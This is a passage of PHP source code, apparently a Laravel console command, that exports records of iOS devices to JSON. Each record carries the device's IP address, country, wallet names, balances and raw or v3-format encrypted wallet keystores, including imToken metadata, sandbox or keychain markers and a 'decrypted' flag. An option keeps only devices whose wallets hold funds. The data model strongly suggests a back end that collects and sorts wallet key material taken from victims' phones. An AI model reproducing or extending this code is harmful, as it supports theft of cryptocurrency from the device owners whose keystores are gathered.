resolvePath(); if ($path === null) { return self::FAILURE; } $fh = fopen($path, 'w'); if ($fh === false) { $this->error('Cannot write: '.$path); return self::FAILURE; } $ids = $this->deviceQuery()->orderBy('id')->pluck('id'); $mode = $this->rawMode(); $flags = JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES; fwrite($fh, "{\n"); fwrite($fh, ' "exported_at": '.json_encode(now()->toIso8601String(), $flags).",\n"); fwrite($fh, ' "with_balance": '.($this->option('with-balance') ? 'true' : 'false').",\n"); fwrite($fh, ' "raw_mode": '.json_encode($mode, $flags).",\n"); fwrite($fh, ' "device_count": '.$ids->count().",\n"); fwrite($fh, ' "devices": ['."\n"); $first = true; foreach ($ids as $id) { $device = Device::query()->find($id, [ 'id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'country', 'wallet_names', ]); if (! $device) { continue; } if (! $first) { fwrite($fh, ",\n"); } $first = false; $this->writeDevice($fh, $device, $mode, $flags); unset($device); gc_collect_cycles(); } fwrite($fh, "\n ]\n}\n"); fclose($fh); $this->info('wrote '.$ids->count().' devices -> '.$path); return self::SUCCESS; } private function rawMode(): string { if ($this->option('no-raw')) { return 'none'; } if ($this->option('full-raw')) { return 'full'; } return 'v3'; } private function resolvePath(): ?string { $path = trim((string) $this->option('path')); if ($path === '') { $path = storage_path('app/keystore-devices-'.now()->format('Ymd-His').'.json'); } elseif (! str_starts_with($path, '/')) { $path = base_path($path); } $dir = dirname($path); if (! is_dir($dir) && ! mkdir($dir, 0775, true) && ! is_dir($dir)) { $this->error('Cannot create directory: '.$dir); return null; } return $path; } private function deviceQuery(): Builder { return Device::query() ->whereHas('keystores') ->whereHas('addresses', function (Builder $q) { if (! $this->option('with-balance')) { return; } $q->where(function (Builder $inner) { foreach (WalletAddress::COIN_COLUMNS as $col) { $inner->orWhere($col, '>', 0); } }); }); } /** * @param resource $fh */ private function writeDevice($fh, Device $device, string $mode, int $flags): void { $ksMeta = DB::table('wallet_keystores') ->where('device_id', $device->id) ->orderBy('id') ->get(['id', 'source', 'decrypted', 'created_at']); $addresses = $this->serializeAddresses($device); $header = [ 'id' => $device->id, 'device_id' => $device->device_id, 'channel_id' => $device->channel_id, 'model' => $device->device_model, 'ios_version' => $device->ios_version, 'ip' => $device->ip, 'country' => $device->country, 'wallet_names' => $device->walletNameList(), 'keystore_count' => $ksMeta->count(), 'address_count' => count($addresses), 'addresses' => $addresses, ]; $encoded = json_encode($header, $flags); if ($encoded === false) { fwrite($fh, '{"id":'.$device->id.',"error":"encode failed"}'); return; } fwrite($fh, substr($encoded, 0, -1)); fwrite($fh, ',"keystores":['); $ksFirst = true; foreach ($ksMeta as $row) { if (! $ksFirst) { fwrite($fh, ','); } $ksFirst = false; $this->writeKeystore($fh, (int) $row->id, (string) $row->source, (int) $row->decrypted, (string) $row->created_at, $mode, $flags); } fwrite($fh, ']}'); $this->line(sprintf( 'device %s keystores=%d addresses=%d', $device->device_id, $ksMeta->count(), count($addresses), )); } /** * @param resource $fh */ private function writeKeystore($fh, int $id, string $source, int $decrypted, string $createdAt, string $mode, int $flags): void { $len = (int) (DB::table('wallet_keystores')->where('id', $id)->selectRaw('LENGTH(raw_json) as n')->value('n') ?? 0); $meta = [ 'id' => $id, 'source' => $source, 'decrypted' => $decrypted, 'created_at' => $createdAt !== '' ? $createdAt : null, 'raw_json_len' => $len, ]; if ($mode === 'none') { fwrite($fh, (string) json_encode($meta, $flags)); return; } if ($mode === 'full') { $this->writeFullRaw($fh, $id, $meta, $flags); return; } $this->writeCompactV3($fh, $id, $len, $meta, $flags); } /** * @param resource $fh * @param array $meta */ private function writeCompactV3($fh, int $id, int $len, array $meta, int $flags): void { if ($len > self::COMPACT_MAX_BYTES) { $meta['omitted'] = 'sandbox_or_keychain'; fwrite($fh, (string) json_encode($meta, $flags)); return; } $row = DB::selectOne( "select json_extract(raw_json, '$.crypto') as crypto, json_unquote(json_extract(raw_json, '$.id')) as ks_id, json_unquote(json_extract(raw_json, '$.type')) as ks_type, json_unquote(json_extract(raw_json, '$.address')) as address, json_unquote(json_extract(raw_json, '$.derivationPath')) as derivation_path, json_extract(raw_json, '$.version') as version, json_extract(raw_json, '$.imTokenMeta') as imtoken_meta, json_extract(raw_json, '$.encOriginal') as enc_original, json_extract(raw_json, '$.identity') as identity from wallet_keystores where id = ?", [$id], ); $crypto = $this->mysqlJson($row->crypto ?? null); if (! is_array($crypto) || ! isset($crypto['ciphertext'], $crypto['mac'], $crypto['kdf'])) { $meta['omitted'] = 'not_v3'; fwrite($fh, (string) json_encode($meta, $flags)); return; } $v3 = array_filter([ 'id' => $this->mysqlScalar($row->ks_id ?? null), 'type' => $this->mysqlScalar($row->ks_type ?? null), 'address' => $this->mysqlScalar($row->address ?? null), 'derivationPath' => $this->mysqlScalar($row->derivation_path ?? null), 'version' => $this->mysqlScalar($row->version ?? null), 'crypto' => $crypto, 'imTokenMeta' => $this->mysqlJson($row->imtoken_meta ?? null), 'encOriginal' => $this->mysqlJson($row->enc_original ?? null), 'identity' => $this->mysqlJson($row->identity ?? null), ], static fn ($v) => $v !== null && $v !== ''); $meta['v3'] = $v3; fwrite($fh, (string) json_encode($meta, $flags)); } /** * @param resource $fh * @param array $meta */ private function writeFullRaw($fh, int $id, array $meta, int $flags): void { $blob = DB::selectOne( 'select convert(cast(raw_json as char character set utf8mb4) using utf8mb4) as raw_json from wallet_keystores where id = ?', [$id], ); $raw = is_object($blob) ? $blob->raw_json : null; if (is_array($raw)) { $raw = json_encode($raw, $flags) ?: 'null'; } elseif (! is_string($raw) && $raw !== null) { $raw = (string) $raw; } $encodedMeta = json_encode($meta, $flags); fwrite($fh, substr((string) $encodedMeta, 0, -1)); fwrite($fh, ',"raw_json":'); if ($raw === null || $raw === '') { fwrite($fh, 'null'); } elseif ($this->looksLikeJson($raw)) { fwrite($fh, $raw); } else { fwrite($fh, (string) json_encode($raw, $flags)); } fwrite($fh, '}'); unset($blob, $raw); gc_collect_cycles(); } private function mysqlJson(mixed $value): ?array { if (is_array($value)) { return $value; } if (! is_string($value) || $value === '' || $value === 'null') { return null; } $decoded = json_decode($value, true); return is_array($decoded) ? $decoded : null; } private function mysqlScalar(mixed $value): mixed { if ($value === null || $value === 'null') { return null; } if (is_string($value) && $value !== '' && ($value[0] === '"' || $value[0] === '{' || $value[0] === '[')) { $decoded = json_decode($value, true); if (json_last_error() === JSON_ERROR_NONE) { return $decoded; } } return $value; } private function looksLikeJson(string $raw): bool { $trim = ltrim($raw); return $trim !== '' && ($trim[0] === '{' || $trim[0] === '['); } /** * @return list> */ private function serializeAddresses(Device $device): array { $addresses = []; foreach ($device->addresses()->orderBy('id')->cursor() as $addr) { $coins = []; foreach (WalletAddress::COIN_COLUMNS as $col) { $raw = $addr->{$col}; if ($raw === null || $raw === '' || (float) $raw == 0.0) { continue; } $coins[$col] = WalletAddress::formatAmount($col, $raw); } $addresses[] = [ 'id' => $addr->id, 'address' => $addr->address, 'chain_type' => $addr->chain_type, 'source' => $addr->source, 'mnemonic_id' => $addr->mnemonic_id, 'derive_index' => $addr->derive_index, 'coins' => $coins, ]; } return $addresses; } }